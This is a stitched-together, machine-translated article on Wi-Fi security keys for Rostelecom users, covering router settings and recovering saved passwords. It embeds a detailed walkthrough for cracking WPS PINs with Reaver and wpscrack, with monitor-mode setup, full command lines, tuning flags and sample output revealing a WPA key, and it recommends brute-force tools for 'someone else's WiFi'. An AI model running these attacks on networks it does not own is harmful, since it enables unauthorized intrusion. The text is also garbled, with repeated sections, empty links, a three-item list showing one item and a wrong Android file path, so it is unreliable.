Wi-Fi from Rostelecom: how to enter a security key. When connecting to wifi it asks for a security code. How to find out the Wi-Fi key on your computer

In this article we will look at what a wireless WiFi network security key is and why it is needed. This is a pressing issue, as wireless networks are widespread throughout the world. At the same time, there is a risk of falling under the radar of criminals or simply lovers of “Freebies”.

But before moving directly to the main topic, it is necessary to understand how the technology itself works. This will give you a better understanding of why you need a WiFi network security key.

What is a wireless network and how does it work

The essence of WiFi technology is to eliminate the need for users to use cables. This is very convenient, especially considering the widespread use of various portable equipment equipped with a wireless communication module.

In addition, users received an extremely easy and fast way to combine several devices into one group, which, in turn, allows them to exchange data, communicate, play joint games, and so on without a cable connection.

To create such groups, WiFi access points are used, which, in the vast majority of cases, are wireless routers. The range of such a router is quite large and can cover an entire apartment. Moreover, the signal is enough for several apartments in a multi-story building. Depending on the router model and the power of its antenna, one access point is quite capable of covering the area of ​​two private houses located next door.

This means that in addition to trusted persons, attackers or, as is more often the case, simple lovers of the “free” Internet, can connect to your network. This is where the Wi-Fi connection security key comes into play, preventing such people from using your local and global resources.

What is a Wi-Fi network security key: Video

What is WiFi password

So, what is a Wi-Fi security key? This is a unique code that you come up with yourself. This password blocks access to your network. In this case, it is not so much the key itself that is important, but the type of encryption. The fact is that all information that flows between the router and the PC is encrypted. And if you entered the wrong key, then your device simply will not be able to decode it.

This is done to improve security. It is worth noting that today there are three types of encryption for WiFi connections:

• WPA2.

Let's take a quick look at these types of encryption.

How to find out the password for your WiFi connection in the router settings: Video

Types of Network Encryption

So, the first two types (WPA and WPA2) require subscribers to enter a unique password. Without it, you simply cannot connect. After checking the entered key, all data transmitted between network participants is encrypted.

This technology provides two types of security checks:

• WPAWPA2-personal.
• WPAWPA2-enterprise.

The difference between them is that in the first case, all group members are given one WiFi security key. In other words, all subscribers are given one passphrase, which allows access. In the second case, each user receives a unique password that works only for one computer. This method is safer. It is used exclusively in enterprises requiring an increased level of security. The first option is most widespread in private groups.

It is worth noting that modern routers support both technologies. But WPA2 still provides higher security. Therefore, if possible, you should choose it. There are still earlier models of routers that encrypt data using WPA technology.

WEP is an older type of encryption of information in Wi-Fi groups. Many modern routers still support it, as there are older subscriber devices that can only work with this technology. But it is worth noting that installing this type is not recommended, as it is easier to hack.

Before you find out the security key for an Internet-based Wi-Fi network from Rostelecom, you need to find out what equipment is used to distribute the wireless connection. Each router manufacturer offers its own way of configuring the software. Most often, editing parameters is carried out through the web interface of the network device.

How to find out the Wi-Fi security key of the Rostelecom network

In cases where the question arises about how to find out the security key of a wireless home or office network, you need to go to the settings of the router or modem, regardless of whether you are using the Internet from Rostelecom or another operator. Setting up network equipment in most cases is done using .

To access the software, you need to enter the IP address of the modem or router in any browser installed on your computer.

Depending on the hardware manufacturer, different standard address values ​​are used. The most common brands with their corresponding IP can be viewed in the table.

The list of manufacturers given in the table is not complete, but it represents all the major brands that are most often used with the telecommunications operator Rostelecom. These IP addresses may differ for certain models, but in most cases they will have the values ​​shown.

Where and how to enter the network key to the Rostelecom router

You can familiarize yourself with setting up Internet parameters on Upvel routers at.

To connect a computer running an operating system you need:

• click on the Internet icon in the lower right corner (tray);
• select an access point;
• enter and confirm the password.

Before entering the Rostelecom network key into the equipment settings or simply finding it out, you need to determine the IP address of the router. This will allow you to access the device settings and specify the security combination for the access point.

To ensure that the WiFi network is protected from unauthorized access, a network security key was invented. It prevents unauthorized connection to the network, and also prevents traffic interception (even if an attacker receives it, he will not be able to use this information, since it will be securely encrypted).

In essence, a network security key is a set of characters that encrypts the connection between all devices on the local network. There are two common types of data encryption on WiFi networks – WPA and WPA2. The first one is now practically not used due to security problems. However, the process of obtaining the key is independent of the encryption type.

Before a connection to the network is established between your device and the router, the router will require a correct answer to the invitation, which, in fact, is the security key. Simply put, a WiFi security key is the password for a wireless network.

Occasionally, a situation may occur when the owner (or full user) of the network, for example, forgets the WiFi password and, as a result, loses access to it (cannot connect). But it's not a problem. Restoring access is very simple. Often, this simply requires resetting the router. But if for some reason you cannot reset the router configuration to default (default settings), then you can go another way.

How to find out the Wi-Fi network security key

So, suppose that the Wi-Fi network security key was forgotten, how can I find it now? The method depends on what platform the client device is running on. Below we will consider two systems - Windows (latest versions) and Android, and will also describe how to obtain the key from the router's control panel.

The Windows operating system stores information about all connections that it has ever established (unless, of course, the user himself deliberately erased this data).

To get a security key for WiFi, you need to go to the “Network and Sharing Center” (click on the corresponding icon on the taskbar). After this, in the list that appears, you will need to find the name of the desired network, click on it, and select “Properties” in the context menu that appears. In the window that opens, you will need to check the checkbox with the label “Display entered characters”, after which the required password will be displayed in the “Network security key” text field.

Find out the network security key for Android
Now let’s look at another question: how to find out the network security key on Android. Here, it should be noted that the process of obtaining a WiFi password is somewhat more complicated than on desktop Windows.

You won’t be able to get it out through the standard system interface, so you’ll need to look for the key in the system files. But there is one caveat here - they can only be accessed when the device is Rooted. The method for obtaining superuser rights depends on the device model (relevant information can be obtained on specialized websites).

But let's assume that the phone/tablet has Root. In this case, you will additionally need to install a third-party file manager, with which you can access the system partition. The most popular such application is Root Explorer (distributed free through Google Play).

After installation, you will need to open the application and grant it superuser rights. Then you need to go to the folder located at: data/music/wifi. It will contain many files, but wifi passwords are stored in only one of them - wpa_supplicant.conf. We open it using any application that can read text documents (for example, through a web browser) and look for the name of the network. Next to it will be the required security key.
It seems difficult, but in reality it is not very difficult. However, if you don’t want to look for this data yourself, you can use a special application and make the task easier, but more on that below.

Get the security key in the Router control panel

To find out the WiFi security key in the router's control panel, you must first connect to it. To do this, we find out the IP address of the device (it is usually written on a sticker located on the bottom of the equipment). If it is not there, then from a computer running Windows we enter the ipconfig command and look for the “default gateway”, the value of which will be the address of the router.

We enter the received IP into the address bar of the browser, enter the username and password in the welcome dialog box, and log in to the system. Next we find the Wireless tab, and the Wireless Security subsection. There we look for a field with the PSK Password label - what is written in it is the security key.

It should be noted that the names of the sections may differ depending on the router model. Also, in the panels of some routers, before the corresponding interface elements appear, you must click on “Advanced settings”.

Programs that allow you to find out the security key

For Android devices There are many applications on the Google Play Market that allow you to retrieve information about security keys. And all of them, it should be noted, require root rights. The most popular of them is WiFi Pass - it is free and its interface is very simple.

Once downloaded, you will need to run it and then grant it the required privileges. When this is done, a list of networks to which the device has ever connected will be displayed. We look for the name of the desired WiFi, and tap on the icon with the image of an eye, after which the security key will be displayed on the screen.

It should be noted that the desired network may not be in the list. It's okay - tapping on the button with arrows in the upper right corner of the screen will update the list, after which the name of the Wi-Fi you are looking for will be displayed on the screen.

Programs for obtaining a security key from someone else's WiFi under Windows: The easiest way to get a security key from someone else's WiFi is to use password guessing applications (brute force). For Windows, the most popular program tailored for these purposes is Aircrack-ng, and for Android - WIBR. You can learn how to use them from manuls, of which there are a huge number on the Internet.
It should be noted that the use of relevant programs is punishable by law.

3 more useful articles:

Wireless Network Watcher is a lightweight program that can scan a network and show information on all machines…

Sometimes in everyday life, when using Wi-Fi networks, the most stable access point that shows the best...

Not so long ago, it seemed that a wireless network protected using WPA2 technology was quite secure. Finding a simple key to connect is really possible. But if you install a really long key, neither rainbow tables nor even GPU acceleration will help you fix it. But, as it turned out, you can connect to a wireless network without this - by taking advantage of a recently discovered vulnerability in the WPS protocol.

WARNING

All information is presented for educational purposes only. Penetrating into someone else's wireless network can easily be considered a criminal offense. Think with your head.

The price of simplifications

There are fewer and fewer open access points to which you do not need to enter a key to connect at all. It seems that soon they can be listed in the Red Book. If previously a person might not even know that a wireless network can be locked with a key, protecting himself from outside connections, now he is increasingly being told about this possibility. Take, for example, custom firmware that leading providers release for popular router models to simplify setup. You need to specify two things - login/password and... a key to protect the wireless network. More importantly, the hardware manufacturers themselves are trying to make the setup process straightforward. Thus, most modern routers support the WPS (Wi-Fi Protected Setup) mechanism. With its help, the user can set up a secure wireless network in a matter of seconds, without bothering himself at all with the fact that “you need to enable encryption somewhere else and register a WPA key.” I entered the eight-digit symbolic PIN in the system, which is written on the router, and you’re done! And here, hold on tight. In December, two researchers spoke about serious fundamental flaws in the WPS protocol. It's like a back door for any router. It turned out that if WPS is activated at the access point (which, for a moment, is enabled in most routers by default), then you can select a PIN for connection and extract the key for connection in a matter of hours!

How does WPS work?

The idea of ​​the creators of WPS is good. The mechanism automatically sets the network name and encryption. Thus, the user does not need to go into the web interface and deal with complex settings. And you can easily add any device (for example, a laptop) to an already configured network: if you enter the PIN correctly, it will receive all the necessary settings. This is very convenient, which is why all the major players on the market (Cisco/Linksys, Netgear, D-Link, Belkin, Buffalo, ZyXEL) now offer wireless routers with WPS support. Let's look at it in a little more detail.

There are three options for using WPS:

1. Push-Button-Connect (PBC). The user presses a special button on the router (hardware) and on the computer (software), thereby activating the setup process. We are not interested in this.
2. Entering a PIN code in the web interface. The user accesses the administrative interface of the router through a browser and enters the eight-digit PIN code written on the device body (Figure 1), after which the setup process occurs. This method is more suitable for the initial configuration of the router, so we will not consider it either.
3. Entering the PIN code on the user's computer (Figure 2). When connecting to a router, you can open a special WPS session, within which you can configure the router or get existing settings if you enter the PIN code correctly. This is already attractive. No authentication is required to open such a session. Anyone can do this! It turns out that the PIN code is already potentially susceptible to a bruteforce attack. But these are just flowers.

Vulnerability

As I noted earlier, the PIN code consists of eight digits - therefore, there are 10^8 (100,000,000) options to match. However, the number of options can be significantly reduced. The fact is that the last digit of the PIN code is a kind of checksum, which is calculated based on the first seven digits. As a result, we already get 10^7 (10,000,000) options. But that's not all! Next, we carefully look at the device of the WPS authentication protocol (Figure 3). It feels like it was specially designed to leave room for brute force. It turns out that PIN code verification is carried out in two stages. It is divided into two equal parts, and each part is checked separately! Let's look at the diagram:

1. If, after sending the M4 message, the attacker received an EAP-NACK in response, then he can be sure that the first part of the PIN code is incorrect.
2. If he received an EAP-NACK after sending M6, then, accordingly, the second part of the PIN code is incorrect. We get 10^4 (10,000) options for the first half and 10^3 (1,000) for the second. As a result, we have only 11,000 options for a complete search. To better understand how this will work, look at the diagram.
3. An important point is the possible search speed. It is limited by the speed at which the router processes WPS requests: some access points will produce results every second, others every ten seconds. Most of the time is spent on calculating the public key using the Diffie-Hellman algorithm; it must be generated before step M3. The time spent on this can be reduced by choosing a simple secret key on the client side, which will simplify the calculations of other keys in the future. Practice shows that for a successful result it is usually enough to go through only half of all options, and on average brute force takes only four to ten hours.

First implementation

The first implementation of brute force to appear was the wpscrack utility (goo.gl/9wABj), written by researcher Stefan Viböck in Python. The utility used the Scapy library, which allows you to inject arbitrary network packets. The script can only be run under a Linux system, after first switching the wireless interface to monitoring mode. As parameters, you must specify the name of the network interface in the system, the MAC address of the wireless adapter, as well as the MAC address of the access point and its name (SSID).

$ ./wpscrack.py --iface mon0 --client 94:0c:6d:88:00:00 --bssid f4:ec:38:cf:00:00 --ssid testap -v sniffer started trying 00000000 attempt took 0.95 seconds trying 00010009<...>trying 18660005 attempt took 1.08 seconds trying 18670004# found 1st half of PIN attempt took 1.09 seconds trying 18670011 attempt took 1.08 seconds<...>trying 18674095# found 2st half of PIN<...>Network Key: 0000 72 65 61 6C 6C 79 5F 72 65 61 6C 6C 79 5F 6C 6F really_really_lo 0010 6E 67 5F 77 70 61 5F 70 61 73 73 70 68 72 61 73 ng_wpa_passphras 0020 65 5F 67 6F 6F 64 6F 6C 75 63 6B 5F 63 72 61 63 e_good_luck_crac 0030 6B 69 6E 67 5F 74 68 69 73 5F 6F 6E 65king_this_one<...>

As you can see, first the first half of the PIN code was selected, then the second, and in the end the program produced a ready-to-use key for connecting to the wireless network. It is difficult to imagine how long it would have taken to find a key of this length (61 characters) with pre-existing tools. However, wpscrack is not the only utility for exploiting the vulnerability, and this is a rather funny moment: at the same time, another researcher, Craig Heffner from Tactical Network Solutions, was working on the same problem. Seeing that a working PoC for implementing an attack appeared on the Internet, he published his Reaver utility. It not only automates the process of selecting the WPS-PIN and extracting the PSK key, but also offers a greater number of settings so that the attack can be carried out against a wide variety of routers. In addition, it supports a much larger number of wireless adapters. We decided to take it as a basis and describe in detail how an attacker can use a vulnerability in the WPS protocol to connect to a secure wireless network.

HOW-TO

As with any other attack on a wireless network, we will need Linux. Here it must be said that Reaver is present in the repository of the well-known distribution BackTrack, which also already includes the necessary drivers for wireless devices. Therefore, we will use it exactly.

Step 0. Prepare the system

On the official website, BackTrack 5 R1 is available for download as a virtual machine under VMware and a bootable ISO image. I recommend the last option. You can simply write the image onto a disc, or you can use the program to make a bootable USB flash drive: one way or another, after booting from such a medium, we will immediately have a system ready for work without any unnecessary problems.

Crash Course on Wi-Fi Hacking

1. WEP (Wired Equivalent Privacy) The very first technology for protecting a wireless network turned out to be extremely weak. You can hack it literally in a few minutes, using the weaknesses of the RC4 cipher used in it. The main tools here are the airodump-ng sniffer for collecting packets and the aircrack-ng utility, used directly to crack the key. There is also a special tool wesside-ng, which generally hacks all nearby WEP points automatically.
2. WPA/WPA2 (Wireless Protected Access)

Brute force is the only way to find a key for a closed WPA/WPA2 network (and even then only if there is a dump of the so-called WPA Handshake, which is broadcast when a client connects to an access point).

Brute force can drag on for days, months and years. To increase the efficiency of the search, specialized dictionaries were first used, then rainbow tables were generated, and later utilities appeared that used NVIDIA CUDA and ATI Stream technologies to hardware accelerate the process using the GPU. The tools used are aircrack-ng (brute force using a dictionary), cowpatty (using rainbow tables), pyrit (using a video card).

Step 1: Login

The default login and password is root:toor. Once in the console, you can safely start “X” (there are separate BackTrack assemblies - both with GNOME and KDE):

#startx

Step 2: Install Reaver

To download Reaver, we will need internet. Therefore, we connect the patch cord or configure the wireless adapter (menu “Applications > Internet > Wicd Network Manager”). Next, we launch the terminal emulator, where we download the latest version of the utility through the repository:

# apt-get update # apt-get install reaver

Here I must say that the repository contains version 1.3, which personally did not work correctly for me. After searching for information about the problem, I found a post by the author, who recommends updating to the highest possible version by compiling sources taken from SVN. This is, in general, the most universal installation method (for any distribution).

$ svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps $ cd ./reaver-wps/src/ $ ./configure $ make # make install

There will be no problems with assembly under BackTrack - I checked it personally. In the Arch Linux distribution that I use, installation is even simpler, thanks to the presence of the corresponding PKGBUILD:

$ yaourt -S reaver-wps-svn

Step 3. Preparing for brute force

To use Reaver you need to do the following:

• switch the wireless adapter to monitoring mode;
• find out the name of the wireless interface;
• find out the MAC address of the access point (BSSID);
• make sure that WPS is activated on the point.

First, let’s check that the wireless interface is present in the system at all:

#iwconfig

If the output of this command contains an interface with a description (usually wlan0), it means that the system recognized the adapter (if it connected to the wireless network to load Reaver, then it is better to disconnect the connection). Let's put the adapter into monitoring mode:

# airmon-ng start wlan0

This command creates a virtual interface in monitoring mode, its name will be indicated in the command output (usually mon0). Now we need to find the access point to attack and find out its BSSID. Let's use the utility for listening to wireless broadcasts airodump-ng:

#airodump-ngmon0

A list of access points within range will appear on the screen. We are interested in points with WPA/WPA2 encryption and PSK key authentication.

It is better to choose one of the first in the list, since good communication with the point is desirable to carry out an attack. If there are a lot of points and the list does not fit on the screen, then you can use another well-known utility - kismet, where the interface is more suitable in this regard. Optionally, you can check on site whether the WPS mechanism is enabled at our point. To do this, Reaver comes bundled with (but only if you take it from SVN) the wash utility:

# ./wash -i mon0

The parameter is the name of the interface switched to monitoring mode. You can also use the '-f' option and feed the utility a cap file created, for example, by the same airodump-ng. For some unknown reason, the Reaver package in BackTrack did not include the wash utility. Let's hope this error will be corrected by the time this article is published.

Step 4. Run brute force

Now you can proceed directly to searching the PIN. To start Reaver in the simplest case you don't need much. You just need to specify the name of the interface (which we previously switched to monitoring mode) and the BSSID of the access point:

# reaver -i mon0 -b 00:21:29:74:67:50 -vv

The "-vv" switch enables enhanced program output so we can make sure everything works as expected.

Reaver v1.4 WiFi Protected Setup Attack Tool Copyright (c) 2011, Tactical Network Solutions, Craig Heffner [+] Waiting for beacon from 00:21:29:74:67:50 [+] Associated with 00:21:29:74:67:50 (ESSID: linksys) [+] Trying pin 63979978

If the program consistently sends PINs to the access point, it means that everything has started well, and all that remains is to wait stupidly. The process may take a long time. The shortest time in which I was able to brute force a PIN was about five hours. As soon as it is selected, the program will happily inform you about it:

[+] Trying pin 64637129 [+] Key cracked in 13654 seconds [+] WPS PIN: "64637129" [+] WPA PSK: "MyH0rseThink$YouStol3HisCarrot!" [+] AP SSID: "linksys"

The most valuable thing here is, of course, the WPA-PSK key, which you can immediately use to connect. Everything is so simple that it doesn’t even fit in your head.

Is it possible to defend yourself?

For now, there is only one way to protect yourself from an attack - disable WPS in the router settings. However, as it turned out, this is not always possible. Since the vulnerability exists not at the implementation level, but at the protocol level, you should not expect a quick patch from manufacturers that would solve all the problems. The most they can do now is to resist brute force as much as possible. For example, if you block WPS for one hour after five unsuccessful attempts to enter the PIN code, then the search will take about 90 days. But another question is, how quickly can such a patch be rolled out to millions of devices operating all over the world?

Upgrading Reaver

In the HOWTO we showed the simplest and most versatile way to use the Reaver utility. However, WPS implementation varies from manufacturer to manufacturer, so in some cases additional configuration is required. Below I will provide additional options that can increase the speed and efficiency of key search.

1. You can set the channel number and SSID of the access point: # reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys
2. The '—dh-small' option has a beneficial effect on brute force speed, as it sets a small value for the secret key, thereby facilitating calculations on the access point side: # reaver -i mon0 -b 00:01:02:03:04:05 -vv - -dh-small
3. The default response timeout is five seconds. If necessary, you can change it: # reaver -i mon0 -b 00:01:02:03:04:05 -t 2
4. The default delay between attempts is one second. It can also be configured: # reaver -i mon0 -b 00:01:02:03:04:05 -d 0
5. Some access points may block WPS for a certain time, suspecting that they are being scammed. Reaver notices this situation and pauses the search for 315 seconds by default, the duration of this pause can be changed: # reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250
6. Some implementations of the WPS protocol will terminate the connection if the PIN code is incorrect, although according to the specification they should return a special message. Reaver automatically recognizes this situation, for this there is a ‘—nack’ option: # reaver -i mon0 -b 00:01:02:03:04:05 --nack
7. The '--eap-terminate' option is intended to work with those APs that require termination of the WPS session using the EAP FAIL message: # reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate
8. The occurrence of errors in the WPS session may mean that the AP is limiting the number of attempts to enter a PIN code, or is simply overloaded with requests. Information about this will be displayed on the screen. In this case, Reaver pauses its activity, and the pause time can be set using the '--fail-wait' option: # reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360

FAQ

Question: What wireless adapter is needed for hacking?

Answer: Before experimenting, you need to make sure that the wireless adapter can operate in monitoring mode. The best way is to check the list of supported hardware on the Aircrack-ng project website. If the question arises about which wireless module to buy, then you can start with any adapter based on the RTL8187L chipset. USB dongles can easily be found on the Internet for $20.

Question: Why do I get "timeout" and "out of order" errors?

Answer: This usually happens due to low signal strength and poor communication with the access point. In addition, the access point may temporarily block the use of WPS.

Question: Why doesn't MAC address spoofing work for me?

Answer: It is possible that you will spoof the MAC of the virtual interface mon0, and this will not work. You must specify the name of the real interface, for example, wlan0.

Question: Why does Reaver work poorly when the signal is bad, although the same WEP hacking works fine?

Answer: WEP cracking typically occurs by retransmitting captured packets to obtain more initialization vectors (IVs) needed for a successful crack. In this case, it does not matter whether any packet was lost or somehow damaged along the way. But to attack WPS, you must strictly follow the packet transfer protocol between the access point and Reaver to check each PIN code. And if at the same time some packet is lost or arrives in an indecent form, then you will have to re-establish the WPS session. This makes attacks on WPS much more dependent on signal strength. It is also important to remember that just because your wireless adapter sees an access point, this does not mean that the access point sees you. So if you are the happy owner of a high-power adapter from ALFA Network and an antenna of a couple of tens of dBi, then don’t expect to be able to break all the caught access points.

Question: Reaver always sends the same PIN to the access point, what's the matter?

Answer: Check if WPS is activated on the router. This can be done using the wash utility: run it and check that your target is in the list.

Question: Why can't I associate with an access point?

Answer: This may be due to poor signal strength or because your adapter is unsuitable for such research.

Question: Why do I keep getting “rate limiting detected” errors? Answer: This is because the access point has blocked WPS. Usually this is a temporary block (about five minutes), but in some cases they can impose a permanent ban (unblocking only through the administrative panel). There is one unpleasant bug in Reaver version 1.3, due to which the removal of such locks is not detected. As a workaround, they suggest using the ‘—ignore-locks’ option or downloading the latest version from SVN.

Question: Can I run two or more instances of Reaver simultaneously to speed up my attack?

Answer: Theoretically, it is possible, but if they attack the same access point, the search speed is unlikely to increase, since in this case it is limited by the weak hardware of the access point, which is already fully loaded even with one attacker.

The network security key is a password that you can use to connect to a working Wi-Fi network. The secure operation of a wireless network directly depends on it. Its main task is to protect the Wi-Fi user (owner) from unauthorized connection to it. Some may think that such a connection, in general, will not interfere much with working on the Internet. In fact, it is fraught with a significant decrease in Internet speed. Therefore, the closest attention must be paid to creating a password.

In addition to the actual complexity of the password being created, the degree of security of a Wi-Fi wireless network is largely influenced by the type of data encryption. The importance of the type of encryption is explained by the fact that all data transmitted within a particular network is encrypted. Such a system allows you to protect yourself from unauthorized connections, because without knowing the password, a third-party user using his device simply will not be able to decrypt the data transmitted within the wireless network.

Types of network encryption

"Network security key mismatch" error on laptop. What to do?

Almost always, this error appears due to an incorrectly specified password. A computer is a machine, and if it says that the password is incorrect, then it is so.

• First of all, we check the password and enter it again.
• Uncheck "Hide characters" (if installed), to see the password you specify.
• Also, you need to check if Caps Lock is turned on. After all, the letter “a” and “A” are different characters in the password.
• Check the keyboard layout, the password must be entered in English letters.

If you have forgotten your password, you can look it up in the router settings, or on another computer that previously connected to this network. How to remember the password, I wrote in the article:.

If you couldn’t fix the “Network security key mismatch” error, then change the password on your Wi-Fi router according to these instructions: . With the new password everything should connect.

Error: "Invalid key or passphrase"

After entering the password and clicking the Ok button, a message may also appear in the pop-up window: "Invalid key or passphrase".

This error appears if you specify key of less than 8 characters (and you have WPA2 encryption method set). In such a situation, you need in the settings of your router set the correct password for the Wi-Fi network. I wrote in the instructions how to do this on different routers:

Change adapter settings.

• click on the Internet icon in the lower right corner (tray);
• select an access point;
• enter and confirm the password.

Before entering the Rostelecom network key into the equipment settings or simply finding it out, you need to determine the IP address of the router. This will allow you to access the device settings and specify the security combination for the access point.

How to find out the network security key?

It is not without reason that Microsoft employees pay great attention to network security. The measures they take allow owners of installed Windows not to worry about attackers using their data. The users themselves can only save the passwords that are automatically created during setup and not transfer them to strangers. At the same time, it is possible to find out the network security key if it is lost.

Home group

A homegroup password is required to protect your network from unauthorized connections from other computers. It is automatically generated and provided to the user after the homegroup itself is created. The algorithm for recovering lost code looks like this:

1. press the “Start” button;
2. click on the “Control Panel” link;
3. in the window that opens, select “Network and Internet”;
4. Click on “Network and Sharing Center”;

The code displayed should be written down and used to join another computer to this homegroup.

If you set the system notification area of ​​your desktop (bottom right corner) to display the connections icon, it will be even easier to find your network security key. For this:

1. right-click on the connections icon (depending on the installed theme, it may look different);
2. select “Network and Sharing Center”;
3. here we click on the “Home Group” link (lower left corner);
4. In the new window, select “Show or print homegroup password.”

The network security key is a password that you can use to connect to a working Wi-Fi network. The secure operation of a wireless network directly depends on it. Its main task...

The network security key is a password that you can use to connect to a working Wi-Fi network. The secure operation of a wireless network directly depends on it. Its main task...